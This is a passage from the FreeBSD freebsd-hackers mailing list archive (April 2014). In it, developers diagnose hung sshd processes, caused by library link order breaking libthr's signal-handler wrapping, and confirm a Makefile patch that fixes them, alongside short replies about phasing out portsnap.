/usr/src/libexec/rtld-elf/rtld_lock.c:197 > #4 0x00000008006498c9 in _rtld_bind (obj=3D0x800662000, reloff=3D13008) = at=20 > /usr/src/libexec/rtld-elf/rtld.c:675 > #5 0x00000008006470cd in _rtld_bind_start () at=20 > /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 > #6 0x000000000041072c in grace_alarm_handler (sig=3D0) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:378 > #7 > #8 _umtx_op_err () at=20 > /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 > #9 0x00000008038e304f in __thr_rwlock_rdlock (rwlock=3D0x803afb480,=20 > flags=3D, tsp=3D) > at /usr/src/lib/libthr/thread/thr_umtx.c:277 > #10 0x00000008038ea22c in _thr_rtld_rlock_acquire (lock=3D0x803afb480) at= =20 > thr_umtx.h:196 > #11 0x000000080064f9a2 in rlock_acquire (lock=3D0x80085fe00,=20 > lockstate=3D0x7fffffffc668) at /usr/src/libexec/rtld-elf/rtld_lock.c:197 > #12 0x00000008006498c9 in _rtld_bind (obj=3D0x800662000, reloff=3D9240) a= t=20 > /usr/src/libexec/rtld-elf/rtld.c:675 > #13 0x00000008006470cd in _rtld_bind_start () at=20 > /usr/src/libexec/rtld-elf/amd64/rtld_start.S:121 > #14 0x000000000042f9dd in sshpam_sigchld_handler (sig=3D out>) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:152 > #15 > #16 0x000000080064a1c4 in dlclose (handle=3D0x800696c00) at=20 > /usr/src/libexec/rtld-elf/rtld.c:4136 > #17 0x0000000800ede121 in openpam_destroy_chain (chain=3D0x8040634e0) > at=20 > /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_lo= ad.c:92 > #18 0x0000000800ede0bc in openpam_destroy_chain (chain=3D0x804063460) > at=20 > /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_lo= ad.c:109 > #19 0x0000000800ede0bc in openpam_destroy_chain (chain=3D0x8040633e0) > at=20 > /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_lo= ad.c:109 > #20 0x0000000800ede051 in openpam_clear_chains (policy=3D0x80401a6c8) > at=20 > /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/openpam_lo= ad.c:128 > #21 0x0000000800eda9e7 in pam_end (pamh=3D0x80401a6c0, status=3D optimized out>) > at=20 > /usr/src/lib/libpam/libpam/../../../contrib/openpam/lib/libpam/pam_end.c:= 83 > #22 0x000000000042e15d in sshpam_cleanup () at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/auth-pam.c:614 > #23 0x000000000041d58f in do_cleanup (authctxt=3D0x80401a600) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/session.c:2732 > #24 0x000000000041064f in ssh_cleanup_exit (i=3D255) at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:2545 > #25 0x0000000000428f83 in mm_request_receive (sock=3D,=20 > m=3D) > at=20 > /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor_wrap.c:153 > #26 0x0000000000427e26 in monitor_read (pmonitor=3D0x804022220, ent=3D0x6= 465a0,=20 > pent=3D0x7fffffffd240) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:593 > #27 0x0000000000427b49 in monitor_child_preauth (_authctxt=3D out>, pmonitor=3D0x804022220) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/monitor.c:387 > #28 0x000000000040fd15 in main (ac=3D, av=3D optimized out>) > at /usr/src/secure/usr.sbin/sshd/../../../crypto/openssh/sshd.c:679 > " --VdK9YnsVPSS4W/L5 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTR+tBAAoJEJDCuSvBvK1BBsQP/ipVBTC9k7bkvYjv4pN8MslA XXOG8/ywlk3H/bkjSpUTBq/dU80qYY3JsfXHXKoAypOwgauFoDhjUiX00zgWbN4w TwAUe70k/8rbcYoVdXtLXpsWdbyg0mdY+VlnFExSHoptknS3U5KX8vSNnQdXaS/g Cq3AM2vEb5QCJSq0FNv+iHIsG84tJCtd6tny84JwZWpkEu1ukJhoIn3GBHlk46dl WqADwgkr3i+tRZ2BFQ2ogw27FIWNsCsloarLM8dPaw5NiDzaxVg38CUEbcRyK6h7 v9mqIufvEBfBKrPWCOWNbbiLuqFsf5FuT5Tlv7SzOOwK7UzwIp/jq5xauILtV4ZW Eely2JTN74xPg/WtvrzMQCG1edJoxJp2oO6Ja5niPwi5dcCroC764uo4jt8JzbqK JHiSaCG3lgwirQmjE2c9YcP3L3kBzWt9ABkBOKBIroqN6ReKFPstCEc5M/V23K+w 9DumVAX3Gv11G1WLBZXk3io7ZFuDEtrpQuFEUiJTrn+49wSmARFJgMgrVm6JkNG7 ncj2wMepO0WxApjUY6WGyiOIQpf1pTENyf4UDRdFjiKSOBEqiHelV4sqs1PrZcnH vYZNwxImDjS7vBVDAAc1SB7l9qnADJVaCBqhNKa+0ANLwW+0i/Yn8RPFXNIVpVv2 HNUabcPOodSwyuxbedV5 =P3DP -----END PGP SIGNATURE----- --VdK9YnsVPSS4W/L5-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 13:31:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2A23738B; Fri, 11 Apr 2014 13:31:10 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E58FB1A24; Fri, 11 Apr 2014 13:31:09 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s3BDYY4n086463; Fri, 11 Apr 2014 06:34:40 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s3BDYRNA086460; Fri, 11 Apr 2014 06:34:27 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Fri, 11 Apr 2014 06:34:27 -0700 (PDT) Message-ID: <7a39fee1d8baee8029d01a13bcc4cce8.authenticated@ultimatedns.net> In-Reply-To: <20140411094620.78881cjb990bw8gc@webmail.ru.ac.za> References: <20140411094620.78881cjb990bw8gc@webmail.ru.ac.za> Date: Fri, 11 Apr 2014 06:34:27 -0700 (PDT) Subject: Re: MITM attacks against portsnap and freebsd-update From: "Chris H" To: J.McKeown@ru.ac.za User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers , secteam , Colin Percival , david.i.noel@gmail.com, FreeBSD Questions Mailing List X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 13:31:10 -0000 > Quoting David Noel : > >> 4. Retire portsnap. >> >> Details > [snip] >> Retiring Portsnap >> >> With the inclusion of svnlite in 10 I think the valid question comes >> up as to whether we really need the portsnap system or whether it >> could be safely retired. > > I see in the PR you suggest getting rid of the portsnap servers as > well. 8 and 9 are still supported releases. Does this mean that anyone > running 8.4 or 9.2 is going to lose the ability to upgrade their ports > tree quickly and easily unless they also upgrade their servers /from a > supported release/? I had intended to comment on this, as well. I also take issue with the (seemingly) premature demise of pkg_ in this regard. --Chris > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 13:50:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4CCF7309; Fri, 11 Apr 2014 13:50:25 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id DAF8C1C67; Fri, 11 Apr 2014 13:50:24 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3BDoNqs034431 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Apr 2014 14:50:23 +0100 (BST) Date: Fri, 11 Apr 2014 14:50:22 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> In-Reply-To: <20140411131649.GR21331@kib.kiev.ua> References: <201404081533.53990.jhb@freebsd.org> <92366925229B4C5B21B04D81@study64.tdx.co.uk> <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 13:50:25 -0000 --On 11 April 2014 16:16 +0300 Konstantin Belousov wrote: > On Fri, Apr 11, 2014 at 01:39:54PM +0100, Karl Pielorz wrote: >> >> Ok, rebuilt a debug world (with your rtld-elf patch), installed it - >> reproduced the issue, and ran up gdb on a 'urdlck' stuck sshd, and got >> the trace below. > The trace looks reasonable. Great :) > I vaguelly remember that you already answered this, but I want to start > investigating from the different angle. Please show me the output > of 'ldd /usr/sbin/sshd' on your machine. This happens on stable/10, > right ? " ldd /usr/sbin/sshd /usr/sbin/sshd: libssh.so.5 => /usr/lib/private/libssh.so.5 (0x800860000) libutil.so.9 => /lib/libutil.so.9 (0x800abb000) libwrap.so.6 => /usr/lib/libwrap.so.6 (0x800ccd000) libpam.so.5 => /usr/lib/libpam.so.5 (0x800ed6000) libbsm.so.3 => /usr/lib/libbsm.so.3 (0x8010e2000) libgssapi_krb5.so.10 => /usr/lib/libgssapi_krb5.so.10 (0x8012fc000) libgssapi.so.10 => /usr/lib/libgssapi.so.10 (0x80151a000) libkrb5.so.11 => /usr/lib/libkrb5.so.11 (0x801723000) libhx509.so.11 => /usr/lib/libhx509.so.11 (0x801999000) libasn1.so.11 => /usr/lib/libasn1.so.11 (0x801be1000) libcom_err.so.5 => /usr/lib/libcom_err.so.5 (0x801e7a000) libroken.so.11 => /usr/lib/libroken.so.11 (0x80207c000) libwind.so.11 => /usr/lib/libwind.so.11 (0x80228d000) libheimbase.so.11 => /usr/lib/libheimbase.so.11 (0x8024b5000) libheimipcc.so.11 => /usr/lib/private/libheimipcc.so.11 (0x8026b9000) libcrypt.so.5 => /lib/libcrypt.so.5 (0x8028bb000) libcrypto.so.7 => /lib/libcrypto.so.7 (0x802adb000) libz.so.6 => /lib/libz.so.6 (0x802ec6000) libc.so.7 => /lib/libc.so.7 (0x8030db000) libldns.so.5 => /usr/lib/private/libldns.so.5 (0x803474000) libmd.so.6 => /lib/libmd.so.6 (0x8036c8000) libthr.so.3 => /lib/libthr.so.3 (0x8038d8000) " The box is stable/10 - quite an old stable 10 now, but afaik other people have hit a similar issue on newer stable 10's - I've not updated this box, as I've seen nothing to say it's "fixed" in newer versions [and it's obviously been under investigation for weeks now on this machine as well, long before I posted to -hackers]. I can update to a newer version (e.g. today) if you want. > I do not see any linking with libpthread in the sshd Makefile. Could it > be that libthr is loaded as dependency of some pam module ? Possibly - I don't know. This is stock FreeBSD #10 Stable - i.e. I've not configured anything differently on SSH than what you get 'out the box'. I've never done anything with PAM - so I don't know where I'd go checking that kind of thing (but can if you point me in the right direction). -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 14:15:32 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DBBB811C; Fri, 11 Apr 2014 14:15:32 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 6049D103D; Fri, 11 Apr 2014 14:15:32 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3BEFRZ9071259; Fri, 11 Apr 2014 17:15:27 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3BEFRZ9071259 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3BEFRwk071258; Fri, 11 Apr 2014 17:15:27 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 11 Apr 2014 17:15:26 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140411141526.GT21331@kib.kiev.ua> References: <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="dZoxY5VDSg+7Vbn9" Content-Disposition: inline In-Reply-To: <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 14:15:32 -0000 --dZoxY5VDSg+7Vbn9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 11, 2014 at 02:50:22PM +0100, Karl Pielorz wrote: >=20 >=20 > --On 11 April 2014 16:16 +0300 Konstantin Belousov = =20 > wrote: >=20 > > On Fri, Apr 11, 2014 at 01:39:54PM +0100, Karl Pielorz wrote: > >> > >> Ok, rebuilt a debug world (with your rtld-elf patch), installed it - > >> reproduced the issue, and ran up gdb on a 'urdlck' stuck sshd, and got > >> the trace below. > > The trace looks reasonable. >=20 > Great :) >=20 > > I vaguelly remember that you already answered this, but I want to start > > investigating from the different angle. Please show me the output > > of 'ldd /usr/sbin/sshd' on your machine. This happens on stable/10, > > right ? >=20 > " > ldd /usr/sbin/sshd > /usr/sbin/sshd: > libssh.so.5 =3D> /usr/lib/private/libssh.so.5 (0x800860000) > libutil.so.9 =3D> /lib/libutil.so.9 (0x800abb000) > libwrap.so.6 =3D> /usr/lib/libwrap.so.6 (0x800ccd000) > libpam.so.5 =3D> /usr/lib/libpam.so.5 (0x800ed6000) > libbsm.so.3 =3D> /usr/lib/libbsm.so.3 (0x8010e2000) > libgssapi_krb5.so.10 =3D> /usr/lib/libgssapi_krb5.so.10 (0x8012fc= 000) > libgssapi.so.10 =3D> /usr/lib/libgssapi.so.10 (0x80151a000) > libkrb5.so.11 =3D> /usr/lib/libkrb5.so.11 (0x801723000) > libhx509.so.11 =3D> /usr/lib/libhx509.so.11 (0x801999000) > libasn1.so.11 =3D> /usr/lib/libasn1.so.11 (0x801be1000) > libcom_err.so.5 =3D> /usr/lib/libcom_err.so.5 (0x801e7a000) > libroken.so.11 =3D> /usr/lib/libroken.so.11 (0x80207c000) > libwind.so.11 =3D> /usr/lib/libwind.so.11 (0x80228d000) > libheimbase.so.11 =3D> /usr/lib/libheimbase.so.11 (0x8024b5000) > libheimipcc.so.11 =3D> /usr/lib/private/libheimipcc.so.11=20 > (0x8026b9000) > libcrypt.so.5 =3D> /lib/libcrypt.so.5 (0x8028bb000) > libcrypto.so.7 =3D> /lib/libcrypto.so.7 (0x802adb000) > libz.so.6 =3D> /lib/libz.so.6 (0x802ec6000) > libc.so.7 =3D> /lib/libc.so.7 (0x8030db000) > libldns.so.5 =3D> /usr/lib/private/libldns.so.5 (0x803474000) > libmd.so.6 =3D> /lib/libmd.so.6 (0x8036c8000) > libthr.so.3 =3D> /lib/libthr.so.3 (0x8038d8000) > " So my suspicious idea seems to be true. From the ldd output, libc appears before libthr in the global order, so libc sigaction() symbol is resolved before libthr interposer. The result is that libthr wrapper thr_sighandler() for the signal handlers is not installed as the recepient of the kernel signal, which prevents libthr locks for rtld =66rom working properly. You could see this in the backtrace below, which is indicated by lack of the thr_signhandler in backtrace while obviously signal handler is activated. >=20 > The box is stable/10 - quite an old stable 10 now, but afaik other people= =20 > have hit a similar issue on newer stable 10's - I've not updated this box= ,=20 > as I've seen nothing to say it's "fixed" in newer versions [and it's=20 > obviously been under investigation for weeks now on this machine as well,= =20 > long before I posted to -hackers]. I can update to a newer version (e.g.= =20 > today) if you want. Better not, to keep the environment stable and the problem to not disappear magically. But it seems that it is consistent enough, on the HEAD box I see the same order for needed libraries. >=20 > > I do not see any linking with libpthread in the sshd Makefile. Could it > > be that libthr is loaded as dependency of some pam module ? >=20 > Possibly - I don't know. This is stock FreeBSD #10 Stable - i.e. I've not= =20 > configured anything differently on SSH than what you get 'out the box'.= =20 > I've never done anything with PAM - so I don't know where I'd go checking= =20 > that kind of thing (but can if you point me in the right direction). To confirm or deny my theory, please apply the patch below, in addition to the previous patch, and rebuild sshd only, # cd src/secure/usr.sbin/sshd && make clean all install The patch tilts the order of initialization, for my build I got sandy% ldd /usr/sbin/sshd = ~ /usr/sbin/sshd: libssh.so.5 =3D> /usr/lib/private/libssh.so.5 (0x800863000) libutil.so.9 =3D> /lib/libutil.so.9 (0x800af0000) =2E.. libz.so.6 =3D> /lib/libz.so.6 (0x802f0d000) libthr.so.3 =3D> /lib/libthr.so.3 (0x803123000) libc.so.7 =3D> /lib/libc.so.7 (0x803348000) libldns.so.5 =3D> /usr/lib/private/libldns.so.5 (0x8036d1000) libmd.so.6 =3D> /lib/libmd.so.6 (0x803926000) which could be enough to prevent the bug. Please retest and report. diff --git a/secure/usr.sbin/sshd/Makefile b/secure/usr.sbin/sshd/Makefile index 4f730a9..5e399fa 100644 --- a/secure/usr.sbin/sshd/Makefile +++ b/secure/usr.sbin/sshd/Makefile @@ -54,8 +54,8 @@ LDADD+=3D -lgssapi_krb5 -lgssapi -lkrb5 -lhx509 -lasn1 \ CFLAGS+=3D -DNONE_CIPHER_ENABLED .endif =20 -DPADD+=3D ${LIBCRYPT} ${LIBCRYPTO} ${LIBZ} -LDADD+=3D -lcrypt -lcrypto -lz +DPADD+=3D ${LIBCRYPT} ${LIBCRYPTO} ${LIBZ} ${LIBPTHREAD} +LDADD+=3D -lcrypt -lcrypto -lz -lpthread =20 .if defined(LOCALBASE) CFLAGS+=3D -DXAUTH_PATH=3D\"${LOCALBASE}/bin/xauth\" --dZoxY5VDSg+7Vbn9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTR/j+AAoJEJDCuSvBvK1BG9AP/jew8JXrQ0emhZ7I1EbhVETB 6zciag4xAeNDxKaBvjVstHsMH69tzOSPM3M7aGKcsex6HNbtDggGH8lzfRsI89v3 E+URkk8lMTGbXDaRvJDypuYzViLPL7UzoqPqeqGuB+3au8EPQYjBk1QDo4h0dbnx TGBr6svasbA9dFyBgIkrjjHxYZ08NJPynEgfnVhR2+0tB5Ie8PeJE1S4aRjExQ0j bkmpleLUEy/wRLQy4UZvIxqR5YH604t5KEMerVN3ZOhy8xag1QRkjFaH2H9y8ueO FO9LFpdlU2K0ub6KEGXjrwXYw973LE+EE5BOxTgjjn2pNIeCjvJ3+o/mR1mrWPox UDcpJNwWQD/KEiX4BQywHGRpcgMfgDy+9ySEfMz3l0CvgyhYq6XNLEOaQE6kCUJB BV0kQ0VirejDysY46cN8zMW9FXp9566r+4TeAphYobYPBE5pT98thf+3cqKWHDE3 k9FEtTuzntMg1hfoL0s0MIMMDpsSpn7Oruj3cX9MtvvRRtsbjIRclTPLDRalAd56 RaQq/EZ835HSunR13Fva7Fj6kEY4EDnINUdSEAcQfcM4GD+WxEk8QYLZxan/SPR0 dYVDRgAmRm0vVklupZxDdWe1i4QWajcQ40pm8ahWBgMo929KECJPDpLebK0XN8r+ 7jclPL5SxU/8RJ59f0TW =UEa1 -----END PGP SIGNATURE----- --dZoxY5VDSg+7Vbn9-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 14:28:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E0350AFE; Fri, 11 Apr 2014 14:28:39 +0000 (UTC) Received: from mail-we0-x22f.google.com (mail-we0-x22f.google.com [IPv6:2a00:1450:400c:c03::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 07356117B; Fri, 11 Apr 2014 14:28:38 +0000 (UTC) Received: by mail-we0-f175.google.com with SMTP id q58so5417564wes.20 for ; Fri, 11 Apr 2014 07:28:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=BJnDX4PDW80nqtBl6bhKnrV/Njm87GJ4urxeR4qfQ+E=; b=SDlrDduxt4ebwLVSRNmKvO3PoFxCq8+fKKRndK10MtoYeoe8k97McR9Nfi3Wt7OION 1bRuPsNWaBOhNx28LpfH2ruhqRZHDvYUM75H90d+ue+kM1p/rMrSFqoiWrZKORawuuyK 1W49cQJEW4Nbm+Mw/meYiEpgzek5KhOHbdxivEPMOGEYTSINHoD3Swzyj+hhw5jTPkvK HaJZjwAzkI3tDLHi4Fej4NG6PYKwh4yJ9uaJmSuaGCEdSe4OgstVqN/U4Qvx/I2IRiyp FeZ7G+HiB48l9Cd4j2+RrGlskPYrolzbIpV/arX4GBW73HcjrsJQhc8ME3wMsflVASVc JH6Q== MIME-Version: 1.0 X-Received: by 10.180.23.99 with SMTP id l3mr3716053wif.47.1397226517251; Fri, 11 Apr 2014 07:28:37 -0700 (PDT) Received: by 10.217.55.138 with HTTP; Fri, 11 Apr 2014 07:28:37 -0700 (PDT) In-Reply-To: <7a39fee1d8baee8029d01a13bcc4cce8.authenticated@ultimatedns.net> References: <20140411094620.78881cjb990bw8gc@webmail.ru.ac.za> <7a39fee1d8baee8029d01a13bcc4cce8.authenticated@ultimatedns.net> Date: Fri, 11 Apr 2014 09:28:37 -0500 Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update From: David Noel To: Chris H Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-hackers , J.McKeown@ru.ac.za, secteam , FreeBSD Questions Mailing List , Colin Percival X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: David.I.Noel@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 14:28:40 -0000 >> I see in the PR you suggest getting rid of the portsnap servers as >> well. 8 and 9 are still supported releases. Does this mean that anyone >> running 8.4 or 9.2 is going to lose the ability to upgrade their ports >> tree quickly and easily unless they also upgrade their servers /from a >> supported release/? > > I had intended to comment on this, as well. > I also take issue with the (seemingly) premature demise of pkg_ in this > regard. I should have said "phased out" instead of "retired". From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 14:57:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EB0866C4; Fri, 11 Apr 2014 14:57:02 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id 72AED1457; Fri, 11 Apr 2014 14:57:02 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3BEv0w8039924 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 11 Apr 2014 15:57:01 +0100 (BST) Date: Fri, 11 Apr 2014 15:57:00 +0100 From: Karl Pielorz To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> In-Reply-To: <20140411141526.GT21331@kib.kiev.ua> References: <20140408212319.GC21331@kib.kiev.ua> <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 14:57:03 -0000 --On 11 April 2014 17:15 +0300 Konstantin Belousov wrote: > So my suspicious idea seems to be true. From the ldd output, libc > appears before libthr in the global order, so libc sigaction() symbol > is resolved before libthr interposer. The result is that libthr wrapper > thr_sighandler() for the signal handlers is not installed as the > recepient of the kernel signal, which prevents libthr locks for rtld > from working properly. Ok, I can just about follow that ;) > To confirm or deny my theory, please apply the patch below, in addition to > the previous patch, and rebuild sshd only, ># cd src/secure/usr.sbin/sshd && make clean all install > The patch tilts the order of initialization, for my build I got > sandy% ldd /usr/sbin/sshd > ... > libz.so.6 => /lib/libz.so.6 (0x802f0d000) > libthr.so.3 => /lib/libthr.so.3 (0x803123000) > libc.so.7 => /lib/libc.so.7 (0x803348000) > libldns.so.5 => /usr/lib/private/libldns.so.5 (0x8036d1000) > libmd.so.6 => /lib/libmd.so.6 (0x803926000) > which could be enough to prevent the bug. > > Please retest and report. Ok, patched the makefile - rebuilt / installed sshd restarted (which has the same initialisation order as yours above), it and ran the security scan against it. *This does indeed seem to fix the problem* The scan completes, and there are no stuck 'urdlck' sshd's - and no socket sitting around in CLOSE_WAIT or CLOSED - thanks! :) I re-ran the scan a couple of times more to be sure, with the same result - no zombies or anything. Is this situation likely to be repeated anywhere else on the system? Or is it likely just to be specific to sshd? Many thanks again, -Karl From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 15:38:19 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using 